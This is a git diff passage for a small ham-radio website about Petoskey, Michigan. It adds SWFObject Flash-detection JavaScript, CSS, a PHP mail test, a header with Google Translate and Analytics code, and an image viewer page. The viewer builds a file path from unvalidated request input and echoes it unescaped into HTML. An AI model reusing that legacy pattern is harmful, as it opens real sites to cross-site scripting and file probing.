false;}};deconcept.SWFObjectUtil.getPlayerVersion=function(){var _23=new deconcept.PlayerVersion([0,0,0]);if(navigator.plugins&&navigator.mimeTypes.length){var x=navigator.plugins["Shockwave Flash"];if(x&&x.description){_23=new deconcept.PlayerVersion(x.description.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split("."));}}else{if(navigator.userAgent&&navigator.userAgent.indexOf("Windows CE")>=0){var axo=1;var _26=3;while(axo){try{_26++;axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash."+_26);_23=new deconcept.PlayerVersion([_26,0,0]);}catch(e){axo=null;}}}else{try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");}catch(e){try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");_23=new deconcept.PlayerVersion([6,0,21]);axo.AllowScriptAccess="always";}catch(e){if(_23.major==6){return _23;}}try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");}catch(e){}}if(axo!=null){_23=new deconcept.PlayerVersion(axo.GetVariable("$version").split(" ")[1].split(","));}}}return _23;};deconcept.PlayerVersion=function(_29){this.major=_29[0]!=null?parseInt(_29[0]):0;this.minor=_29[1]!=null?parseInt(_29[1]):0;this.rev=_29[2]!=null?parseInt(_29[2]):0;};deconcept.PlayerVersion.prototype.versionIsValid=function(fv){if(this.major<fv.major){return false;}if(this.major>fv.major){return true;}if(this.minor<fv.minor){return false;}if(this.minor>fv.minor){return true;}if(this.rev<fv.rev){return false;}return true;};deconcept.util={getRequestParameter:function(_2b){var q=document.location.search||document.location.hash;if(_2b==null){return q;}if(q){var _2d=q.substring(1).split("&");for(var i=0;i<_2d.length;i++){if(_2d[i].substring(0,_2d[i].indexOf("="))==_2b){return _2d[i].substring((_2d[i].indexOf("=")+1));}}}return "";}};deconcept.SWFObjectUtil.cleanupSWFs=function(){var _2f=document.getElementsByTagName("OBJECT");for(var i=_2f.length-1;i>=0;i--){_2f[i].style.display="none";for(var x in _2f[i]){if(typeof _2f[i][x]=="function"){_2f[i][x]=function(){};}}}};if(deconcept.SWFObject.doPrepUnload){if(!deconcept.unloadSet){deconcept.SWFObjectUtil.prepUnload=function(){__flash_unloadHandler=function(){};__flash_savedUnloadHandler=function(){};window.attachEvent("onunload",deconcept.SWFObjectUtil.cleanupSWFs);};window.attachEvent("onbeforeunload",deconcept.SWFObjectUtil.prepUnload);deconcept.unloadSet=true;}}if(!document.getElementById&&document.all){document.getElementById=function(id){return document.all[id];};}var getQueryParamValue=deconcept.util.getRequestParameter;var FlashObject=deconcept.SWFObject;var SWFObject=deconcept.SWFObject;
\ No newline at end of file
diff --git a/styles.css b/styles.css
new file mode 100755 (executable)
index 0000000..b936740
--- /dev/null
@@ -0,0 +1,117 @@
+/*font*/
+body, table, td {font-family: arial, helvetica, sans-serif; font-size: 13px;}
+/*links*/
+a {font-weight: bold;}
+a:link {color: #0A328C;}
+a:visited {color: #0A328C;}
+a:active {color: #0A328C;}
+a:hover {color: #000;}
+
+body {margin: 0; padding: 0;}
+#wrap {}
+
+/*main header */
+#top { 
+       background-color: #0A328C;
+       background-image: url(assets/bg.jpg); 
+       background-repeat: no-repeat; 
+       border-bottom: 8px solid #D1C9BE;
+       height: 96px;
+       }
+
+#top h1 {
+       color: #fff; 
+       padding: 20px 10px; 
+       margin: 0; 
+       text-align: left;
+       }
+#top h1 img {float: right; margin-top: -15px; margin-right: -10px;}
+* html #top h1 img { margin-right: -13px; }
+div#tagline {font-size: 16px;}
+#content {
+       float: left;
+       width: 600px;
+       background-color: white;
+       border-left: 1px solid #0A328C;
+       padding-bottom: 10px;}
+/*toolbox */
+#category {margin-left: 10px;  }
+#category h1 {
+       background-color: transparent;
+       color: #000;
+       background-image: none; 
+       font-size: 18px; 
+       padding: 1em 0 0 0;
+       border-bottom: 1px solid #D1C9BE;
+       text-align: left;
+       }
+h2 {font-size: 16px; margin:1em 0 0.5em 0; }
+p {margin: 0 0 1em 0;}
+.listing {margin-left: 10px;clear:both;  }
+.imageright {float: right; clear: right; position: relative; margin: 0 0 10px 10px;}
+.imageleft {float: left; clear: left; position: relative; margin: 0 10px 10px 0;}
+
+#staff  {margin-left: 10px; margin-top: 10px;  }
+/* copyright*/
+#copyright {
+       font-size: 12px;
+       font-weight: bold;
+       background-color: #0A328C;
+       color: #fff;
+       padding: 10px;
+       margin: 0;
+       background-image: url(assets/bg.jpg);
+       background-repeat: no-repeat;
+       clear: both;
+       }
+
+/* nav */
+
+#navleftcontainer {float: left; position: relative;}
+
+#navleftcontainer ul
+{
+margin: 0;
+padding: 0;
+list-style-type: none;
+font-family: verdana, arial, Helvetica, sans-serif;
+width: 150px;
+}
+
+#navleftcontainer li { margin: 0 0 1px 0; padding: 0;}
+
+#navleftcontainer a
+{
+display: block;
+padding: 5px 10px;
+/*width: 140px;*/
+color: #0A328C;
+background-color: #0A328C;
+background-color: #fff;
+
+text-decoration: none;
+font-size: 12px;
+font-weight: bold;
+}
+
+#navleftcontainer a:hover
+{
+color: #000;
+text-decoration: none;
+}
+
+#navleftcontainer ul ul li { margin: 1px 0 0 0; padding: 0;}
+
+#navleftcontainer ul ul a
+{
+display: block;
+padding: 5px 5px 5px 20px;
+/*width: 125px;*/
+/*background-color: #4B68B8; */
+text-decoration: none;
+}
+#navleftcontainer ul ul ul a {padding: 5px 5px 5px 40px;}
+#navleftcontainer ul ul a:hover
+{
+text-decoration: none;
+}
diff --git a/test.phtml b/test.phtml
new file mode 100644 (file)
index 0000000..f7373fb
--- /dev/null
@@ -0,0 +1,12 @@
+<?
+
+$mess = '
+
+Hi this is a test.
+
+';
+
+mail( "cscott@gaslightmedia.com", "PHP Mail Filter Test", $mess, "Cc: cscott@n8dnx.org\nBcc: cscott@n8dnx.org" );
+echo "Sent";
+
+?>
diff --git a/tophome.php b/tophome.php
new file mode 100755 (executable)
index 0000000..047037e
--- /dev/null
@@ -0,0 +1,32 @@
+<div id="top">
+<!--<h1><img src="<?=BASE_URL?>assets/top-image3.gif" width="344" height="80" alt="top-image3 (17K)" >
+<div id="tagline">Bringing Public Information to You</div></h1>-->
+<h1>Welcome to Petoskey and Ham Radio in Northern Michigan
+
+</style>
+<span style="float: right; white-space: nowrap;">
+<div id="google_translate_element"></div><script type="text/javascript">
+function googleTranslateElementInit() {
+  new google.translate.TranslateElement({pageLanguage: 'en'}, 'google_translate_element');
+}
+</script><script type="text/javascript" src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
+</span>
+
+<div id="tagline">
+&nbsp;<br>
+<span style="float: right;">
+Chuck Scott&nbsp;&nbsp;
+<a href="mailto:webfeedback@n8dnx.org" style="color: white;">webfeedback@n8dnx.org</a>
+</h1>
+</span>
+</div>
+<script>
+  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
+  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
+  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
+  })(window,document,'script','//www.google-analytics.com/analytics.js','ga');
+
+  ga('create', 'UA-46270153-1', 'n8dnx.org');
+  ga('send', 'pageview');
+
+</script>
diff --git a/video/letitsnow_xmas_greeting_generic.flv b/video/letitsnow_xmas_greeting_generic.flv
new file mode 100644 (file)
index 0000000..797418a
Binary files /dev/null and b/video/letitsnow_xmas_greeting_generic.flv differ
diff --git a/view.phtml b/view.phtml
new file mode 100755 (executable)
index 0000000..4342a1a
--- /dev/null
@@ -0,0 +1,30 @@
+<?php
+require_once("setup.phtml");
+?>
+<html>
+<head>
+       <title><?php echo SITENAME?></title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<style type="text/css">
+<!-- 
+body {
+       margin: 0;
+       padding: 0;
+       } 
+-->
+</style></head>
+
+<body bgcolor="#FFFFFF" text="#006633" onBlur="self.close()" onClick="self.close()">
+<?php
+if(file_exists(ORIGINAL_PATH."$img"))
+{
+       $size2 = getimagesize(ORIGINAL_PATH."$img");
+}
+
+?>
+<center>
+  <img src="<?echo ORIGINAL.$img?>" <?echo $size2[3]?>> 
+<?echo ($title) ? '<I>'.stripslashes(strip_tags($title)).'</I>':''?>
+</center>
+</body>
+</html>